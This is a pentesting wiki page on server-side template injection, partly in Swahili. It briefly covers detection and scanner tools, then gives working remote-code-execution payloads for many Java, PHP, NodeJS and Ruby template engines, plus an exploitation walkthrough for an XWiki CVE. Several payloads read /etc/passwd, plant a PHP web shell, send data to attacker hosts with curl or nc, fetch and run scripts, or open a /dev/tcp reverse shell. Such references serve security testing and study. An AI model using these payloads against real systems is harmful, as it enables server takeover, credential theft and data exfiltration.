SSTI (Server Side Template Injection)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

What is SSTI (Server-Side Template Injection)

Server-side template injection ni udhaifu unaotokea wakati mshambulizi anaweza kuingiza nambari hatarishi ndani ya template inayotekelezwa kwenye server. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.

Jinja ni template engine maarufu inayotumika katika web applications. Tuchukulie mfano unaoonyesha vulnerable code snippet ukitumia Jinja:

output = template.render(name=request.args.get('name'))

Katika code hili lenye udhaifu, parameter ya name kutoka ombi la mtumiaji inapitishwa moja kwa moja kwenye template kwa kutumia render. Hii inaweza kumruhusu attacker kuingiza code hatarishi ndani ya parameter ya name, na kusababisha server-side template injection.

Kwa mfano, attacker anaweza kuunda ombi lenye payload kama hili:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanawezesha mshambuliaji kutekeleza code isiyoidhinishwa au kuingilia template engine, na kwa hivyo kupata udhibiti wa server.

Ili kuzuia server-side template injection vulnerabilities, waendelezaji wanapaswa kuhakikisha kuwa input za watumiaji zinasafishwa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza input validation na kutumia mbinu za context-aware escaping kunaweza kusaidia kupunguza hatari ya udhaifu huu.

Ugunduzi

Ili kugundua Server-Side Template Injection (SSTI), mwanzoni, fuzzing the template ni njia rahisi. Hii inahusisha kuingiza mnyororo wa herufi maalum (${{<%[%'"}}%\) katika template na kuchanganua tofauti katika majibu ya server kwa data ya kawaida ikilinganishwa na payload hii maalum. Viashiria vya udhaifu ni pamoja na:

  • Makosa yanayotupwa, yanayofichua udhaifu na pengine template engine.
  • Kukosekana kwa payload katika reflection, au sehemu zake kukosekana, ikimaanisha server inazitendea tofauti kuliko data ya kawaida.
  • Muktadha wa Plaintext: Tofautisha na XSS kwa kuangalia kama server inafanya tathmini ya template expressions (mfano, {{7*7}}, ${7*7}).
  • Muktadha wa Msimbo: Thibitisha udhaifu kwa kubadilisha parameters za input. Kwa mfano, badilisha greeting katika http://vulnerable-website.com/?greeting=data.username kuona kama output ya server ni inayobadilika au fasta, kama greeting=data.username}}hello ikirudisha username.

Awamu ya Utambuzi

Kumtambuisha template engine kunahusisha kuchambua ujumbe za makosa au kujaribu kwa mikono payload mbalimbali maalum kwa lugha. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kutazama jibu la server kwa operesheni za kihesabu husaidia kubaini engine maalum ya template.

Utambuzi kwa payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Zana

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

meza ya mwingiliano inayowaonyesha template injection polyglots zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.

Exploits

Misingi

Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pata vigezo vya mazingira vya mfumo

${T(java.lang.System).getenv()}

Java - Pata /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Unaweza kujaribu payload zako kwenye https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ inafanya kazi tu kwenye matoleo ya Freemarker chini ya 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Taarifa zaidi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Taarifa zaidi

Thymeleaf

Katika Thymeleaf, jaribio la kawaida kwa udhaifu wa SSTI ni expression ${7*7}, ambalo pia linatumika kwa template engine hii. Kwa uwezekano wa remote code execution, expressions kama zifuatazo zinaweza kutumika:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf inahitaji expressions hizi ziwe ndani ya attributes maalum. Hata hivyo, expression inlining inaungwa mkono kwa maeneo mengine ya template, ukitumia syntax kama [[...]] au [(...)]. Kwa hivyo, payload rahisi ya mtihani ya SSTI inaweza kuonekana kama [[${7*7}]].

Hata hivyo, uwezekano wa payload hii kufanya kazi kwa ujumla ni mdogo. Mipangilio ya default ya Thymeleaf haisaidii uundaji wa template kwa njia ya dynamic; templates lazima ziwe predefined. Waendelezaji watahitaji kutekeleza TemplateResolver yao wenyewe ili kuunda templates kutoka kwa strings on-the-fly, jambo ambalo si la kawaida.

Thymeleaf pia inatoa expression preprocessing, ambapo expressions ndani ya underscores mbili (__...__) zinachakatwa mapema. Kipengele hiki kinaweza kutumika katika uundaji wa expressions, kama inavyoonyeshwa katika nyaraka za Thymeleaf:

#{selection.__${sel.code}__}

Mfano wa Udhaifu katika Thymeleaf

Tafakari kipande cha msimbo kinachofuata, ambacho kinaweza kuwa hatarini kwa exploitation:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Hii inaonyesha kwamba ikiwa template engine itashughulikia input hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Taarifa zaidi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Multiple variable expressions zinaweza kutumika; ikiwa ${...} haifanyi kazi, jaribu #{...}, *{...}, @{...} au ~{...}.

  • Soma /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Custom Script kwa ajili ya utengenezaji wa payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Taarifa Zaidi

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Toleo la zamani la Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Toleo jipya la Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ni mradi wa chanzo wazi uliotengenezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Maelezo zaidi

Hubspot - HuBL (Java)

  • {% %} delimiters za tamko
  • {{ }} delimiters za expression
  • {# #} delimiters za maoni
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue the Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Taarifa zaidi

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) ni sifa ya msingi inayorahisisha mwingiliano kati ya safu ya uwasilishaji (kama web pages) na mantiki ya programu (kama managed beans) katika JavaEE. Inatumika sana katika teknolojia mbalimbali za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:

  • JavaServer Faces (JSF): Inatumia EL kufunga vipengele katika kurasa za JSF kwa data na vitendo vya backend vinavyofaa.
  • JavaServer Pages (JSP): EL inatumiwa katika JSP kupata na kushughulikia data ndani ya kurasa za JSP, ikifanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
  • Contexts and Dependency Injection for Java EE (CDI): EL inaunganishwa na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na managed beans, ikihakikisha muundo wa programu wenye mshikamano zaidi.

Angalia ukurasa ufuatao ili kujifunza zaidi kuhusu exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

Bypasses za Security Manager zifuatazo zilitolewa kutoka kwenye writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) inatoa feeds za utafutaji za RSS zisizoidhinishwa kupitia Main.SolrSearch macro. Mshughulikiaji hupokea query parameter ya text, anaiweka ndani ya syntax ya wiki na kutekeleza macros, hivyo kuingiza }}} ikifuatiwa na {{groovy}} hufanya Groovy yoyote itekelezwe kwenye JVM.

  1. Fingerprint & scope – Wakati XWiki iko nyuma ya reverse-proxy na host-based routing, fuzz header ya Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) ili kugundua wiki vhost, kisha vinjari /xwiki/bin/view/Main/ na soma footer (XWiki Debian 15.10.8) ili kuthibitisha build yenye udhaifu.
  2. Trigger SSTI – Omba /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Kituo cha RSS <title> kitakuwa na output ya Groovy. Daima “URL-encode all characters” ili nafasi zibaki kama %20; kuzibadilisha kuwa + hufanya XWiki kurudisha HTTP 500.
  3. Run OS commands – Badilisha mwili wa Groovy kwa {{groovy}}println("id".execute().text){{/groovy}}. String.execute() huanzisha amri moja kwa moja kwa execve(), kwa hivyo shell metacharacters (|, >, &) hazitatafsiriwa. Tumia mtindo wa download-and-execute badala yake:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (the script holds the reverse shell logic).
  1. Post exploitation – XWiki inahifadhi credentials za database katika /etc/xwiki/hibernate.cfg.xml; leak ya hibernate.connection.password hutoa nywila za mfumo halisi ambazo zinaweza kutumika tena kupitia SSH. Iwapo service unit imeweka NoNewPrivileges=true, zana kama /bin/su hazitapata privileges za ziada hata kwa nywila sahihi, kwa hivyo pivot kupitia SSH badala ya kutegemea binaries za SUID za ndani.

Payload ile ile inafanya kazi kwenye /xwiki/bin/get/Main/SolrSearch, na stdout ya Groovy daima imewekwa ndani ya title ya RSS, hivyo ni rahisi kuandika script za kuorodhesha amri.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Taarifa zaidi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - muundo wa kiolezo

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Taarifa zaidi

Plates (PHP)

Plates ni injini ya templates ya asili kwa PHP, iliyochukulia msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP ndani ya templates, hivyo kuifanya iwe rahisi kwa watengenezaji wa PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Kiolezo cha ukurasa:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Kiolezo cha mpangilio:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Taarifa zaidi

PHPlib na HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Maelezo zaidi

PHP Nyingine

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Taarifa zaidi

patTemplate (PHP)

patTemplate injini ya templating ya PHP isiyokomilika (non-compiling), inayotumia lebo za XML kugawanya hati katika sehemu mbalimbali

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Taarifa zaidi

Handlebars (NodeJS)

Path Traversal (maelezo zaidi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Kosa
  • ${7*7} = ${7*7}
  • Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Taarifa zaidi

JsRender (NodeJS)

KiolezoMaelezo
Tathmini na onyesha matokeo
Tathmini na onyesha matokeo yaliyokodishwa kwa HTML
Maoni
naRuhusu code (imezimwa kwa chaguo-msingi)
  • = 49

Upande wa mteja

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Upande wa Server

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Maelezo zaidi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Mfano wa render upande wa seva

var pugjs = require("pug")
home = pugjs.render(injected_page)

Taarifa zaidi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Hakuna pato
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hitilafu
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Taarifa zaidi

Sandboxes za expression za NodeJS (vm2 / isolated-vm)

Baadhi ya watengenezaji wa workflow hutathmini expressions zinazoendeshwa na watumiaji ndani ya Node sandboxes (vm2, isolated-vm), lakini muktadha wa expression bado unaonyesha this.process.mainModule.require. Hii inamruhusu mshambuliaji kupakia child_process na kutekeleza amri za OS hata wakati nodi maalum za “Execute Command” zimezimwa:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

NodeJS Nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Taarifa zaidi

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Taarifa zaidi

Ruby nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Angalia ukurasa ufuatao ili ujifunze mbinu kuhusu arbitrary command execution bypassing sandboxes in python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
